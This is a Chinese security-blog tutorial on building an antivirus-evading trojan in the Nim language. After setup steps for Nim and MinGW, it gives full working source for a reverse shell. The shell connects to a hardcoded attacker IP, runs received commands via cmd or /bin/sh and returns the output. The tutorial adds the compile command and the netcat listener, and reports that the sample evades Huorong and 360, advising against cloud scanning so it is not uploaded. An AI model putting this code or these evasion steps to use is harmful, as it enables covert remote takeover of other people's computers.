阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性免杀教程,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他免杀教程,请在24小时内删除工具文件!!!

更新时间:2022.03.18

说明

本文代码部分参考:

https://www.bilibili.com/video/BV1Yr4y1Y7qP/

1. 前言

Nim这个语言属于比较小众的语言,所以被杀软盯的可能小了很多,免杀上有奇效,本次学习是看到了一个使用Nim写的连接的功能,然后封装为木马,目前依旧是免杀 的;

参考链接: 在这里我从环境配置到文件打包,做一个整理。

2. nim介绍

Nim是一种静态类型的、编译型、系统编程语言。它结合了其他成熟语言的成功概念(如、Ada和)。(参考:)

3. 环境准备

测试机1: 最新版

测试机2: 、 最新版、火绒联网最新版

攻击机:Kali Linux

在以下测试中,均关闭 最新版的自动上传样本功能。

4. Nim环境配置4.1 Nim安装

在上选择下载的

然后选择x64位的下载:

在浏览器下载的时候,会报毒:

在这里直接忽略就行了:

将得到的文件解压,然后再移动到C盘目录下(这个无所谓):

复制bin目录下的路径:C:nim-1.6.4_x64nim-1.6.4bin

将该路径添加到环境变量中去:

按照这个步骤,选择系统变量之后,找到Path,编辑,再新建:

将信息填入之后,保存,打开cmd命令窗口,输入nim:

此时代表Nim安装成功;

4.2 安装MinGW

MinGW是为Nim编译所必需的,MinGW主要是编译C、C++代码用的,在这里一共有两种方式:

4.2.1 直接安装MinGW

首先按照教程,安装MinGW在这里有下载链接地址:

下载最新版x64位版本:

64位系统建议选择-posix-位系统建议选择i686-posix-sjlj

版本区别于各版本说明

将解压之后的文件放入到C盘根目录下:

然后来到bin目录下,使用命令行检查当前的gcc版本:

gcc.exe --

然后就是和上面一样,设置系统环境变量:

在控制面板系统和安全系统中,选择高级系统设置高级环境变量,设置环境变量:

将MinGW添加到系统环境变量中去:

完成之后,确认退出:在新的命令行中尝试输入gcc.exe --

此时证明MinGW安装成功。

4.2.2 利用Nim自带的程序.exe安装

在Nim的环境中,有一个程序是.exe,可以利用该程序下载MinGW的安装包:

在命令行里面启动这个文件,一路Y下去之后,下载完成,利用自带的7z压缩工具进行解压,解压之后就是手动配置环境变量。

image.png

下载完成之后,来到下载文件的目录:C:nim-1.6.4_x64nim-1.6.4dist\bin复制该路径,添加到系统变量中去,确认之后,打开一个新的cmd窗口,检测环境是否正常:

4.2.3 注意事项

上述的两种方法中只能使用一种,而且前提是先不使用Nim进行编译工作,否则会由于缓存问题导致第二种线上安装的方式编译出错。

4.3 安装winim库

下载地址:在当前路径下,使用 安装即可。

5. Nim之套接字免杀学习5.1 代码

以下代码参考:

在下面的代码里主要是需要自定义攻击机的ip和反弹的端口:

import net  
import osproc
import os 


var ip = "192.168.238.138"
var port = 55

var socket = newSocket()
var finalcommand : string

while true:
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send("")
                var command = socket.recvLine()
                if command == "bye":
                    socket.send("exit")
                    socket.close()
                    system.quit(0)
                if system.hostOS == "windows":
                    finalcommand = "cmd /C" & command
                else:
                    finalcommand = "/bin/sh -c" & command
                
                var (cmdres, _) = execCmdEx(finalcommand)
                socket.send(cmdres)
            except:
                socket.close()
                system.quit()
    except:
        echo ""
        sleep(5000)
        continue

其中定义攻击机的ip:192.168.238.138,端口是55

5.2 源码编译

在得到代码之后,在上述配置好Nim环境的上进行编译:

nim c -d:mingw .nim

编译成功之后会得到一个exe可执行文件。

5.3 上线测试

首先在kali攻击机上开启监听:nc -lvp 55

然后在的cmd命令行中执行木马:

等待一下之后,反弹成功:

5.4 免杀测试

火绒

360按位置查杀

360按位置查杀,最好不要云查杀,不然样本会被上传。

6. 总结

在以上的测试中,主要是参考了以下的链接:

在作者的说明中,该免杀理论上还可以过卡巴斯基,由此也看到了Nim代码的魅力,也看到了免杀上有很多厉害的师傅;

静态免杀只是皮毛,动态免杀比较关键;继续向各位师傅学习学习。。。。

tips:加我wx,拉你入乌鸦安全学习群,一起学习!

扫取二维码获取


限时特惠:
本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情

站长微信:Jiucxh

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注